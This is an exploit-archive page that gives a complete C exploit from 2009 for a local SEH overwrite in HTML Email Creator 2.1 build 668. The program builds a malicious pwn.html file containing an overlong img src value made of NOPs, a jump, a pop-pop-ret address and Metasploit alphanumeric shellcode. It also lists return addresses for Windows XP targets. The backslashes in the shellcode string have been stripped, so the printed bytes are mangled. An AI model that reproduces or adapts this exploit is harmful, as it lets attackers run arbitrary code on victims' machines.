[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : HTML Email Creator <= 2.1b668 (html) Local SEH Overwrite Exploit
# Published : 2009-04-13
# Author : dun
# Previous Title : Easy RM to MP3 Converter Universal Stack Overflow Exploit
# Next Title : RM Downloader 3.0.0.9 .m3u Universal Stack Overflow Exploit
/*
:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM
[ Discovered and Exploited by dun ]
[ HTML Email Creator <= 2.1 build 668 ] (html) Local SEH Overwrite Exploit
Vendor: http://www.html-email.net/
Download: http://www.html-email.net/download/html2emailcreator.exe
Vuln:
<img src="520 x A">
or
<script src="520 x A">
or
<link href="520 x A">
___________________________520_____________________________
| |
[ NOPs ][ jmp 11 ][ pop-pop-ret ][ NOPs ][ shellcode ][ NOPs ]
56 4 4 40 343 73
Greetz: suN8Hclf, str0ke
[ dun'at'strcpy.pl / 2009 ]
*/
#include <windows.h>
#include <stdio.h>
/*
Tested on:
WIN XP SP2 with installed "PC TOOLS Spyware Doctor" from google pack
/SafeSEH OFF 0x636e0000 0x63709000 6.1.0.2 C:Program FilesSpyware Doctorsmum32.dll
#define RET 0x636E34BC // pop-pop-ret
WIN XP without any upgrades
kernel32.dll 0x77E9CB0E pop EAX - pop - ret
#define RET 0x77E9CB0E // pop-pop-ret
*/
#define RET 0x77E9CB0E // pop-pop-ret
#define JMP 0x909011EB // short jump (jmp 11)
#define LEN 520
#define NOP 0x90
// win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
char scode[] =
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34"
"x42x50x42x50x42x30x4bx38x45x34x4ex43x4bx48x4ex47"
"x45x30x4ax47x41x50x4fx4ex4bx48x4fx44x4ax41x4bx48"
"x4fx55x42x52x41x30x4bx4ex49x54x4bx58x46x43x4bx38"
"x41x50x50x4ex41x33x42x4cx49x49x4ex4ax46x48x42x4c"
"x46x37x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
"x46x4fx4bx43x46x55x46x32x46x30x45x47x45x4ex4bx48"
"x4fx35x46x32x41x30x4bx4ex48x56x4bx58x4ex30x4bx44"
"x4bx58x4fx55x4ex31x41x50x4bx4ex4bx58x4ex51x4bx48"
"x41x50x4bx4ex49x58x4ex55x46x42x46x30x43x4cx41x33"
"x42x4cx46x36x4bx38x42x44x42x53x45x48x42x4cx4ax37"
"x4ex30x4bx48x42x54x4ex30x4bx58x42x57x4ex51x4dx4a"
"x4bx38x4ax36x4ax50x4bx4ex49x30x4bx48x42x48x42x4b"
"x42x50x42x50x42x50x4bx48x4ax56x4ex33x4fx35x41x53"
"x48x4fx42x56x48x45x49x38x4ax4fx43x58x42x4cx4bx57"
"x42x35x4ax46x42x4fx4cx58x46x50x4fx55x4ax36x4ax59"
"x50x4fx4cx38x50x50x47x35x4fx4fx47x4ex43x36x41x56"
"x4ex56x43x46x42x30x5a";
int main() {
FILE *file;
int i=0;
char buf[LEN+1];
char *ptr=buf;
memset(buf,0x00,LEN+1);
memset(buf,NOP,LEN);
*(unsigned long *)&buf[56] = JMP;
*(unsigned long *)&buf[60] = RET;
ptr+=56+4+4+40;
memcpy(ptr, scode, strlen(scode));
file=fopen("pwn.html","w");
fprintf(file, "<HTML>n<HEAD></HEAD>n<BODY>n<img src="");
fputs(buf,file);
fprintf(file, "">n</BODY>n</HTML>n");
fclose(file);
printf("File created..n");
return 0;
}
// www.Syue.com [2009-04-13]